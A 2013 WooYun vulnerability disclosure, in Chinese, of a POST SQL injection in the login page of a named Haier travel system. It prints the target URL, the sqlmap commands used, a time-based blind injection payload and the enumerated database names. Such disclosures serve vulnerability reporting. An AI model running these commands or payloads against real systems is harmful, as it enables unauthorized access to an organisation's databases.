当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042426

漏洞标题:海尔某系统POST注入第二弹

相关厂商:海尔集团

漏洞作者: Mutoubug

提交时间:2013-11-12 18:50

修复时间:2013-12-27 18:51

公开时间:2013-12-27 18:51

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-12: 细节已通知厂商并且等待厂商处理中
2013-11-16: 厂商已经确认,细节仅向厂商公开
2013-11-26: 细节向核心白帽子及相关领域专家公开
2013-12-06: 细节向普通白帽子公开
2013-12-16: 细节向实习白帽子公开
2013-12-27: 细节向公众公开

简要描述:

问题一样,但是过程有点蛋疼。

详细说明:

存在问题的系统:http://travel.haier.com:80/travel/manager/ReLogin.aspx
依然是登陆框,提交admin',出现错误回显了:

haier1.jpg


爆物理路径了:

haier2.jpg


然后抓包保存到haier.txt到sqlmap里面去跑,(使用--data的方法跑不出来的,尝试了好多次都不行)。然后百度了一下用上面的方法来跑可以跑出来是注入点,但是跑不出来库,朋友说是网络问题?
然后等到早上网络比较好的时候再跑了一次,问题还是这样。。之前的语句是这样:
sqlmap.py -r haierpost.txt -p TextBox1 --tables --time-sec=20
--technique=T
后面各种尝试各种奇葩的SQLMAP的参数,最后把--tables改一下就成功了,真的蛋疼:
sqlmap.py -r haierpost.txt -p TextBox1 --dbs --time-sec=20 --
technique=T
话说--time-sec这个参数是什么用的?
然后就是盲注过程了,非常的漫长,结果:

haier3.jpg


总共17个数据库:
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: POST
Parameter: TextBox1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTI1MTQ3MzU2MWRkl28gi/VU56MiPf/1Ncc8lnwLALs=&__EVENTVALIDATION=/wEWBQKexuSzBALs0bLrBgLs0fbZDALs0Yq1BQLHyfnnAgb4y43LUN9z/MGbBAiXth1qXSO3&TextBox1=admin' WAITFOR DELAY '0:0:20'--&TextBox2=admin&TextBox3=5391&btLogin=%B5%C7%C2%BC
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [17]:
[*] [m\\?81xb]
[*] [tempdb߿]
[*] Back_Travel
[*] ExhibitionsManagement
[*] gobak
[*] GOPSf
[*] GOPSWGG
[*] lumigent
[*] master
[*] moda
[*] msdb
[*] mwdb
[*] PTMS
[*] SBCBFX
[*] Travel
[*] VioCard
[*] xiechengDB
我实在不想跑表了,太慢了。就这样了。

漏洞证明:

总共17个数据库:
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: POST
Parameter: TextBox1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTI1MTQ3MzU2MWRkl28gi/VU56MiPf/1Ncc8lnwLALs=&__EVENTVALIDATION=/wEWBQKexuSzBALs0bLrBgLs0fbZDALs0Yq1BQLHyfnnAgb4y43LUN9z/MGbBAiXth1qXSO3&TextBox1=admin' WAITFOR DELAY '0:0:20'--&TextBox2=admin&TextBox3=5391&btLogin=%B5%C7%C2%BC
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [17]:
[*] [m\\?81xb]
[*] [tempdb߿]
[*] Back_Travel
[*] ExhibitionsManagement
[*] gobak
[*] GOPSf
[*] GOPSWGG
[*] lumigent
[*] master
[*] moda
[*] msdb
[*] mwdb
[*] PTMS
[*] SBCBFX
[*] Travel
[*] VioCard
[*] xiechengDB

修复方案:

1.过滤登陆框的参数。
2.或者用AJAX返回错误参数。
3.求rank.

版权声明:转载请注明来源 Mutoubug@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-11-16 23:14

厂商回复:

最新状态:

暂无